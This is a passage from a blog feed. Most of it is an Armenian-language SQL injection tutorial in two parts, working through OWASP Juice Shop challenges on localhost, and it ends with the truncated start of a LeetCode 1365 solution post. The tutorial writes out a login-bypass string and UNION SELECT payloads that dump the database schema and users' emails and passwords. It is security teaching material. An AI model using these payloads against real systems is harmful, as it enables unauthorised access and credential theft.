&lt;p&gt;Այստեղ &lt;code&gt;${req.body.email || ''}&lt;/code&gt; և &lt;code&gt;${security.hash(req.body.password || '')}&lt;/code&gt; հանդիսանում են Node.JS պլատֆորմի համար գրված կոդ, որը HTTP հարցումից ստանում է էլ․ փոստը և գաղտնաբառը (գաղտնաբառը նաև անցնում է &lt;a href="https://hy.wikipedia.org/wiki/%D5%80%D5%A5%D5%B7_%D6%86%D5%B8%D6%82%D5%B6%D5%AF%D6%81%D5%AB%D5%A1" rel="noopener noreferrer"&gt;գաղտնագրման հեշ ֆունկցիայով&lt;/a&gt;), որով պետք է մուտք գործել։ Արդյունքում ստացված տվյալներն &lt;strong&gt;առանց որևէ ստուգման կամ ֆիլտրման&lt;/strong&gt; հայտնվում են SQL հարցման մեջ, ինչն էլ հանդիսանում է SQL injection խոցելիության հիմնական պատճառը։ &lt;/p&gt;

&lt;p&gt;Հետևաբար, երբ &lt;em&gt;email&lt;/em&gt; դաշտում մուտագրում ենք &lt;code&gt;' OR 1=1 --&lt;/code&gt; տողը, ընդհանուր SQL հարցումը ստանում է տվյալ տեսքը՝&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;Users&lt;/span&gt; &lt;span class="k"&gt;WHERE&lt;/span&gt; &lt;span class="n"&gt;email&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;''&lt;/span&gt; &lt;span class="k"&gt;OR&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="c1"&gt;-- ' AND password  '${security.hash(req.body.password || '')}' AND deletedAt IS NULL&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Տվյալ հարցումն, ըստ էության, վերցնում է տվյալների բազայում պատահած առաջին օգտահաշիվը, առանց էլ․ փոստի և գաղտնաբառի ստուգման (քանի որ գաղտնաբառի ստուգման հատվածն այլևս մեկնաբանություն է և հետևաբար առհամարվում է)։&lt;/p&gt;

&lt;h3&gt;
  
  
  2) Exfiltrate the entire DB schema definition via SQL Injection.
&lt;/h3&gt;

&lt;p&gt;Հաջորդ "մարտահրավերը" կայանում է տվյալների բազայի կառուցվածքը SQL Injection֊ի միջոցով բացահայտելու մեջ։ &lt;/p&gt;

&lt;p&gt;Մինչ այդ, սակայն, ուսումնասիրենք SQL Injection կիրառման հայտնի ձևերից մեկը, որը կոչվում է &lt;strong&gt;UNION SELECT հարձակում&lt;/strong&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  UNION SELECT Injection
&lt;/h3&gt;

&lt;p&gt;SQL լեզվում &lt;code&gt;UNION&lt;/code&gt; հրամանը վերադարձնում է երկու աղյուսակների &lt;strong&gt;միավորումը&lt;/strong&gt;։ Օգտագործման օրինակին կարելի է ծանոթանալ &lt;a href="https://www.w3schools.com/sql/sql_union.asp" rel="noopener noreferrer"&gt;այստեղ&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;SQL Injection հարձակումների ենթատեքստում &lt;code&gt;UNION&lt;/code&gt; հրամանն օգտագործվում են տվյալների մեկ աղբյուրի միջոցով, մեկ այլ աղյուսակից տվյալներ ստանալու նպատակով։ &lt;/p&gt;

&lt;p&gt;Այսինքն մեզ առաջին հերթին անհրաժեշտ է այնպիսի դաշտ, որը ենթակա է SQL Injection հարձակման և որի հարցման արդյունքները տեսանելի են մեզ համար։ Juice Shop ծրագրի պարագայում, այդպիսի ամենահավանական դաշտը ապրանքների որոնման դաշտն է։ Օգտագործելով &lt;a href="https://www.zaproxy.org/" rel="noopener noreferrer"&gt;OWASP ZAP&lt;/a&gt; պրոքսի գործիքը (հարցումները և պատասխանները մանրամասն ուսումնասիրելու համար), տեսնում ենք, որ որոնման դաշտում որևէ բառ մուտքագրելիս, հարցում է ուղարկվում &lt;code&gt;http://localhost:3000/rest/products/search&lt;/code&gt; հասցեին, իսկ մուտքագրված արտահայտությունն ուղարկվում է &lt;code&gt;q&lt;/code&gt; պարամետրի տեսքով։ &lt;/p&gt;

&lt;p&gt;&lt;em&gt;Որոնված արտահայտություն՝&lt;/em&gt; apple&lt;br&gt;
&lt;em&gt;Հարցման հասցե՝&lt;/em&gt; &lt;code&gt;http://localhost:3000/rest/products/search?q=apple&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Փորձենք տեղադրել արդեն իսկ քաջ ծանոթ &lt;code&gt;' OR 1=1 --&lt;/code&gt; արտահայտությունը՝ &lt;code&gt;http://localhost:3000/rest/products/search?q=' OR 1=1 --&lt;/code&gt; հասցեով ուղարկելիս ստանում ենք &lt;strong&gt;500 SequelizeDatabaseError: SQLITE_ERROR: incomplete input&lt;/strong&gt; տեքստով սխալ։ Թվում է թե օգտակար ոչինչ չստացանք, սակայն ուշադրություն դարձնելով տրված սխալի տեքստին՝ հասկանում ենք, որ գործ ունենք SQLite տեսակի տվյալների բազայի հետ (SQL ընտանիքի այլ տվյալների բազաներից են MySQL֊ը, Oracle֊ը, MSSQL֊ը), տեսնենք թե ինչպես կարող է այս տեղեկատվությունը մեզ օգտակար լինել։&lt;/p&gt;
&lt;h3&gt;
  
  
  Տվյալների բազաների կառուցվածք
&lt;/h3&gt;

&lt;p&gt;SQL տվյալների բազաներն իրենց մեջ պահում են հատուկ աղյուսակ, որում գրանցվում են տվյալ բազայում տեղ գտած աղյուսակների մասին տվյալներ՝ անվանումները, տեսակները, աղյուսակի ստեղծման համար օգտագործված SQL կոդը և այլն։ &lt;/p&gt;

&lt;p&gt;Քանի որ արդեն գիտենք, որ Juice Shop ծրագիրն աշխատում է SQLite բազայի հետ, փնտրում ենք մանրամասն տեղեկատվություն այս տեսակի բազաներում կառուցվածքային տվյալների պահման մասին։ Ինչպես երևում է &lt;a href="https://sqlite.org/schematab.html" rel="noopener noreferrer"&gt;SQLite կայքում զետեղված փաստաթղթից&lt;/a&gt;, կառուցվածքային տեղեկատվությունը պահվում է &lt;strong&gt;sqlite_schema&lt;/strong&gt; կոչվող աղյուսակում, որը պարունակում է թվով 5 սյունակ։&lt;/p&gt;

&lt;p&gt;Ստացվում է, որ այս խնդիրը լուծելու համար անհրաժեշտ է կատարել &lt;code&gt;UNION SELECT&lt;/code&gt; հարցում և միավորել ապրանքների որոնման և &lt;strong&gt;sqlite_schema&lt;/strong&gt; աղյուսակին արված հարցումների արդյունքները։ &lt;/p&gt;

&lt;p&gt;Հիշեցնեմ, որ &lt;code&gt;UNION SELECT&lt;/code&gt; հարցում կատարելիս, միավորվող կողմերի աղյուսակները պետք է ունենան հավասար քանակի և նույն տիպերի սյունակներ։ Ապրանքների որոնման դաշտում հարցում կատարելիս տեսնում ենք, որ վերադարձված տվյալներն ունեն թվով 9 սյունակ։ Այս տարբերությունը կարելի է հարթել, պակաս սյունակներով կողմում դատարկ սյունակներ ավելացնելով (կամ թվերի, կամ &lt;code&gt;null&lt;/code&gt; արժեքի տեսքով)։ Փորձենք որոնման &lt;code&gt;q&lt;/code&gt; պարամետրի տեսքով ուղարկել հետևյալ արտահայտությունը՝ &lt;/p&gt;

&lt;p&gt;&lt;code&gt;' AND 1=2 UNION SELECT *, 6, 7, 8, 9 FROM sqlite_schema --&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Այստեղ &lt;code&gt;AND 1=2&lt;/code&gt; արտահայտության իմաստը կայանում է նրանում, որ  երբեք չբավարարվող պայմանի միջոցով բացառենք ապրանքների աղյուսակից տվյալների ստացումը և կենտրոնանանք բացառապես &lt;code&gt;sqlite_schema&lt;/code&gt; աղյուսակի արդյունքների վրա։&lt;/p&gt;

&lt;p&gt;Այս հարցումը նույնպես վերադաձնում է սխալ, ասելով որ այն թերի է կազմված։ Բարեբախտաբար, Score Board էջում առաջարկվում է տեսնել տվյալ խնդրի համար պատասխանատու կոդը և դրա միջոցով կարող ենք տեսնել թե ինչ SQL հրամաններ են կատարվում ապրանքների որոնման ժամանակ։ Կոդում զետեղված հրամանն ունի հետևյալ տեսքը՝ &lt;/p&gt;

&lt;p&gt;&lt;code&gt;SELECT * FROM Products WHERE ((name LIKE '%${criteria}%' OR description LIKE '%${criteria}%') AND deletedAt IS NULL) ORDER BY name&lt;/code&gt;, որտեղ &lt;code&gt;criteria&lt;/code&gt; փոփոխականը մեր կողմից մուտքագրված արտահայտությունն է (օրինակ՝ &lt;em&gt;apple juice&lt;/em&gt;)։&lt;/p&gt;

&lt;p&gt;Ուշադրություն դարձնենք (( բացված փակագծերին, քանի որ դրանք էին մեր հարցման սխալի հիմնական պատճառը։ Հաշվի առնելով սա, մի փոքր փոփոխում ենք մեր ուղարկված արտահայտությունը՝ &lt;br&gt;
&lt;code&gt;' AND 1=2)) UNION SELECT *, 6, 7, 8, 9 FROM sqlite_schema --&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Այս դեպքում հարցման ամբողջական հասցեն կդառնա՝&lt;/p&gt;

&lt;p&gt;&lt;code&gt;localhost:3000/rest/products/search?q=' AND 1=2)) UNION SELECT *, 6, 7, 8, 9 FROM sqlite_schema --&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Եվ, ինչպես սպասելի էր, հարցումն ուղարկելուց հետո, տվյալ խնդիրը համարվում է լուծված և ստանում ենք տվյալների բազայի կառուցվածքային մանրամասները։ &lt;/p&gt;
&lt;h3&gt;
  
  
  3) Retrieve a list of all user credentials via SQL Injection
&lt;/h3&gt;

&lt;p&gt;Այս խնդիրը մեզանից պահանջում է հայտնաբերել բոլոր օգտատերերի տվյալները (էլ․փոստ, գաղտնաբառ և այլն)։&lt;/p&gt;

&lt;p&gt;Նախորդ խնդիրը լուծելիս ստացանք տվյալների բազայի բոլոր աղյուսակների անունները և կազմավորման կոդը։ Ուսումնասիրելով ստացվածը, տեսնում ենք, որ ունենք &lt;code&gt;Users&lt;/code&gt; կոչվող աղյուսակ, որը կազմվել է հետյալ SQL հրամանով՝&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;CREATE&lt;/span&gt; &lt;span class="k"&gt;TABLE&lt;/span&gt; &lt;span class="nv"&gt;`Users`&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;`id`&lt;/span&gt; &lt;span class="nb"&gt;INTEGER&lt;/span&gt; &lt;span class="k"&gt;PRIMARY&lt;/span&gt; &lt;span class="k"&gt;KEY&lt;/span&gt; &lt;span class="n"&gt;AUTOINCREMENT&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;`username`&lt;/span&gt; &lt;span class="nb"&gt;VARCHAR&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;255&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;DEFAULT&lt;/span&gt; &lt;span class="s1"&gt;''&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;`email`&lt;/span&gt; &lt;span class="nb"&gt;VARCHAR&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;255&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;UNIQUE&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;`password`&lt;/span&gt; &lt;span class="nb"&gt;VARCHAR&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;255&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="nv"&gt;`role`&lt;/span&gt; &lt;span class="nb"&gt;VARCHAR&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;255&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;DEFAULT&lt;/span&gt; &lt;span class="s1"&gt;'customer'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;`deluxeToken`&lt;/span&gt; &lt;span class="nb"&gt;VARCHAR&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;255&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;DEFAULT&lt;/span&gt; &lt;span class="s1"&gt;''&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;`lastLoginIp`&lt;/span&gt; &lt;span class="nb"&gt;VARCHAR&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;255&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;DEFAULT&lt;/span&gt; &lt;span class="s1"&gt;'0.0.0.0'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;`profileImage`&lt;/span&gt; &lt;span class="nb"&gt;VARCHAR&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;255&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;DEFAULT&lt;/span&gt; &lt;span class="s1"&gt;'/assets/public/images/uploads/default.svg'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;`totpSecret`&lt;/span&gt; &lt;span class="nb"&gt;VARCHAR&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;255&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;DEFAULT&lt;/span&gt; &lt;span class="s1"&gt;''&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;`isActive`&lt;/span&gt; &lt;span class="nb"&gt;TINYINT&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;DEFAULT&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;`createdAt`&lt;/span&gt; &lt;span class="nb"&gt;DATETIME&lt;/span&gt; &lt;span class="k"&gt;NOT&lt;/span&gt; &lt;span class="k"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;`updatedAt`&lt;/span&gt; &lt;span class="nb"&gt;DATETIME&lt;/span&gt; &lt;span class="k"&gt;NOT&lt;/span&gt; &lt;span class="k"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;`deletedAt`&lt;/span&gt; &lt;span class="nb"&gt;DATETIME&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Այս հրամանն ուսումնասիրելով կարելի է տեսնել թե ինչ սյունակներ  է պարունակում &lt;code&gt;Users&lt;/code&gt; աղյուսակը։ Մեզ հատկապես հետաքրքրում են &lt;code&gt;email&lt;/code&gt; և &lt;code&gt;password&lt;/code&gt; սյունակները։ &lt;/p&gt;

&lt;p&gt;Հետևելով նախորդ խնդրի օրինակին, կրկին դիմում ենք &lt;code&gt;UNION SELECT&lt;/code&gt; հարձակման օգնությանը, այս անգամ միավորելով ապրանքների որոնման հարցումը &lt;code&gt;Users&lt;/code&gt; աղյուսակին կատարված հարցման հետ։&lt;/p&gt;

&lt;p&gt;Հիշեցնեմ, որ ապրանքների աղյուսակը պարունակում է թվով 9 սյունակ, իսկ &lt;code&gt;Users&lt;/code&gt;֊ից մեզ անհրաժեշտ են ընդամենը երկուսը։ Այդ պատճառով, &lt;code&gt;SELECT&lt;/code&gt; հրամանը կազմում ենք հետևյալ կերպ՝ &lt;br&gt;
&lt;code&gt;SELECT 1,email,password,4,5,6,7,8,9 FROM Users&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Թվական արժեքների միջոցով սյունակների ընդհանուր քանակը հասցնում ենք 9֊ի, իսկ &lt;code&gt;email&lt;/code&gt; և &lt;code&gt;password&lt;/code&gt; սյունակները տեղադրում ենք այնպես, որ ապրանքների աղյուսակի տվյալ սյունակներն ունենան նույն տիպը (այս դեպքում՝ &lt;code&gt;text&lt;/code&gt; տիպը)։ Ուսումնասիրելով ապրանքների որոնման արդյունքները, տեսնում ենք, որ երկրորդ և երրորդ սյունակները պարունակում են տեքստային տվյալներ, հետևաբար կարող են միավորվել &lt;code&gt;email&lt;/code&gt; և &lt;code&gt;password&lt;/code&gt; սյուների հետ։ &lt;/p&gt;

&lt;p&gt;Ընդհանուր հարցումը կունենա հետևյալ տեսքը՝&lt;br&gt;
&lt;code&gt;localhost:3000/rest/products/search?q=' AND 1=2)) UNION SELECT 1,email,password,4,5,6,7,8,9 FROM Users --&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Խնդիրը լուծված է։&lt;/p&gt;

&lt;h3&gt;
  
  
  Օգտակար հղումներ
&lt;/h3&gt;

&lt;p&gt;1) &lt;a href="https://stepik.org/course/92334/syllabus" rel="noopener noreferrer"&gt;CyHub Armenia֊ի և Վահագն Վարդանյանի "Ծրագրային անվտանգության հիմունքներ" հայերեն դասընթացը&lt;/a&gt;&lt;br&gt;
2) &lt;a href="https://portswigger.net/web-security/sql-injection" rel="noopener noreferrer"&gt;SQL injection թեման PortSwigger Web Security Academy֊ում&lt;/a&gt;&lt;br&gt;
3) &lt;a href="https://application.security/free-application-security-training/owas-top-10-sql-injection" rel="noopener noreferrer"&gt;SQL injection թեման Kontra Application Security Training կայքում&lt;/a&gt;&lt;/p&gt;

</description>
      <category>owasp</category>
      <category>security</category>
      <category>sql</category>
    </item>
    <item>
      <title>Ծրագրային անվտանգություն՝ SQL Injection (մաս 1)</title>
      <dc:creator>Narek Babajanyan</dc:creator>
      <pubDate>Thu, 20 May 2021 15:28:12 +0000</pubDate>
      <link>https://forem.com/narek_babajanyan/sql-injection-1-lc0</link>
      <guid>https://forem.com/narek_babajanyan/sql-injection-1-lc0</guid>
      <description>&lt;p&gt;SQL injection֊ը հանդիսանում է վեբ֊ծրագրերի ամենատարածված խոցելիություններից (vulnerability) մեկը և գտնվում է OWASP հիմնադրամի 10 ամենատարածված խոցելիությունների ցանկի &lt;a href="https://owasp.org/www-project-top-ten/"&gt;OWASP Top 10&lt;/a&gt; առաջին հորիզոնականում։&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Իրականում OWASP Top 10 ցանկի առաջին հորիզոնականում տեղ է գտել ավելի ընդհանրական &lt;strong&gt;Injection&lt;/strong&gt; տեսակը, իսկ SQL injection֊ը դրա տեսակներից մեկն է։&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Փորձենք հասկանալ ինչու է առաջանում խոցելիության այս տեսակը, ինչ հնարավորություններ է ընձեռում հարձկավողին և պաշտպանության ինչ միջոցներ կան։&lt;/p&gt;

&lt;p&gt;Օրինական ճանապարհով ծրագրային անվտանգություն ուսումնասիրելու համար կարելի է օգտվել հատուկ այդ նպատակով պատրաստված խոցելի ծրագրերից, ինչպիսիք են օրինակ &lt;a href="https://owasp.org/www-project-juice-shop/"&gt;OWASP Juice Shop֊ը&lt;/a&gt; և &lt;a href="http://www.itsecgames.com/"&gt;bWAPP֊ը&lt;/a&gt;։ Նշվածներից բացի գոյություն ունեն բազմաթիվ այլ խոցելի ծրագրեր, որոնց ցանկին կարելի է ծանոթանալ &lt;a href="https://owasp.org/www-project-vulnerable-web-applications-directory/"&gt;այստեղ&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Խոցելիության էությունը
&lt;/h2&gt;

&lt;p&gt;Դիտարկենք SQL տվյալների բազայի պարզագույն օրինակ։ Ենթադրենք, ունենք տվյալների բազա, որում պահվում են տվյալ ընկերության ապրանքանիշները, որոնց մի մասը դեռևս չի թողարկվել։&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;products&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;ID&lt;/th&gt;
&lt;th&gt;name&lt;/th&gt;
&lt;th&gt;released&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;Laptop&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;Smartphone&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;Time machine&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;Teleporter&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;td&gt;Electric vehicle&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;6&lt;/td&gt;
&lt;td&gt;3D printer&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;7&lt;/td&gt;
&lt;td&gt;Secret product&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Ընկերության վեբ կայքում թվարկվում են բոլոր &lt;strong&gt;թողարկված&lt;/strong&gt; ապրանքանիշները։&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;products&lt;/span&gt; &lt;span class="k"&gt;WHERE&lt;/span&gt; &lt;span class="n"&gt;released&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Բացի այդ, կայքում կարելի է կատարել որոնում թողարկված ապրանքանիշների մեջ։ Ենթադրենք, օգտատիրոջ մուտքագրած ցանկացած բանալի բառով անմիջապես կազմվում է հարցում և ուղարկվում տվյալների բազային։ Այս դեպքում օգտատերը կարող է որոնել &lt;em&gt;phone&lt;/em&gt; բանալի բառը՝&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;products&lt;/span&gt; 
&lt;span class="k"&gt;WHERE&lt;/span&gt; &lt;span class="n"&gt;name&lt;/span&gt; &lt;span class="k"&gt;LIKE&lt;/span&gt; &lt;span class="s1"&gt;'%phone%'&lt;/span&gt; &lt;span class="k"&gt;AND&lt;/span&gt; &lt;span class="n"&gt;released&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;ID&lt;/th&gt;
&lt;th&gt;name&lt;/th&gt;
&lt;th&gt;released&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;Smartphone&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Իսկ ի՞նչ եթե մուտքագրվի հատուկ պատրաստված այնպիսի "բանալի բառ", որը տվյալների բազայի կողմից դիտարկվի որպես հրաման։&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Հենց սրանում էլ կայանում է SQL Injection խոցելիության էությունը։&lt;/p&gt;

&lt;p&gt;Ենթադրենք, որոնման դաշտում մուտագրվել հետևյալ տեսքն ունեցող մի արտահայտություն՝ &lt;code&gt;' OR 1=1; --&lt;/code&gt;, ապա տվյալների բազայում կատարվող հարցումը կունենա հետևյալ տեսքը՝&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;products&lt;/span&gt; 
&lt;span class="k"&gt;WHERE&lt;/span&gt; &lt;span class="n"&gt;name&lt;/span&gt; &lt;span class="k"&gt;LIKE&lt;/span&gt; &lt;span class="s1"&gt;'%'&lt;/span&gt; &lt;span class="k"&gt;OR&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;-- %' AND released=1;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Հարցման արդյունքում կվերադարձվեն &lt;strong&gt;բոլոր&lt;/strong&gt; ապրանքանիշները, նույնիսկ դեռևս չթողարկվածները։ Նման արդյունքի պատճառը կայանում է նրանում, որ մուտքագրված արտահայտության առաջին չակերտը փակում է &lt;code&gt;LIKE&lt;/code&gt; պնդման չակերտը և ընդհանուր հարցման հրամանի մեջ ավելացնում նոր պնդում՝ &lt;code&gt;OR 1=1&lt;/code&gt; (որը միշտ ճիշտ է), իսկ &lt;code&gt;--&lt;/code&gt; սիմվոլները հարցման &lt;code&gt;AND released=1;&lt;/code&gt; հատվածը փոխակերպում են մեկնաբանության (&lt;em&gt;comment&lt;/em&gt;), որն առհամարվում է տվյալների բազայի կողմից։&lt;/p&gt;

&lt;p&gt;Այսպիսով, SQL injection խոցելիության պարզագույն կիրառմամբ հնարավոր է դառնում չնախատեսված տվյալների ստացումը։ Դժվար չէ պատկերացնել, որ այլ հրամանների մուտքագրման պարագայում հնարավոր կլինի մուտք գործել որպես այլ օգտատեր կամ նույնիսկ ջնջել/փոփոխել տվյալների բազայում պահվող տեղեկատվությունը։&lt;/p&gt;

&lt;p&gt;Հաջորդ մասում կդիտարկենք առավել իրատեսական օրինակներ՝ շնորհիվ վերոնշյալ bWAPP և OWASP Juice Shop ծրագրերի։ &lt;/p&gt;

</description>
      <category>security</category>
      <category>sql</category>
      <category>injection</category>
      <category>owasp</category>
    </item>
    <item>
      <title>LeetCode 1365. How Many Numbers Are Smaller Than the Current Number</title>
      <dc:creator>Narek Babajanyan</dc:creator>
      <pubDate>Sat, 02 May 2020 18:24:54 +0000</pubDate>
      <link>https://forem.com/narek_babajanyan/leetcode-1365-how-many-numbers-are-smaller-than-the-current-number-32om</link>
      <guid>https://forem.com/narek_babajanyan/leetcode-1365-how-many-numbers-are-smaller-than-the-current-number-32om</guid>
      <description>&lt;p&gt;The problem can be found &lt;a href="https://leetcode.com/problems/how-many-numbers-are-smaller-than-the-current-number/"&gt;here&lt;/a&gt;. &lt;br&gt;
The obvious brute force solution to has a complexity of &lt;code&gt;O(n^2)&lt;/code&gt;, so we should try to think of something better. I present my solution below.&lt;/p&gt;

&lt;h4&gt;
  
  
  Solution explanation
&lt;/h4&gt;

&lt;p&gt;After we sort the array, the index of an element shows how many smaller elements there are, except when we encounter duplicate elements. To fix this, we scan the array, and if the current number is seen for the first time (meaning that all elements before it are smaller, and none are equal to it), we add the index to the dictionary, otherwise we skip it, because even though the index is incremented, the previous number is equal to the current one, not smaller.&lt;/p&gt;

&lt;p&gt;Afterwards, we simply scan the original array (so that we can output the answers in the correct order), and retrieve the quantities for each of the elements.&lt;/p&gt;

&lt;h4&gt;
  
  
  Complexity
&lt;/h4&gt;

&lt;p&gt;The &lt;code&gt;Array.Sort()&lt;/code&gt; method has an average case complexity of &lt;code&gt;O(n*logn)&lt;/code&gt;, copying the array and scanning the elements takes up &lt;code&gt;O(n)&lt;/code&gt;.&lt;/p&gt;

&lt;h4&gt;
  
  
  Code
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
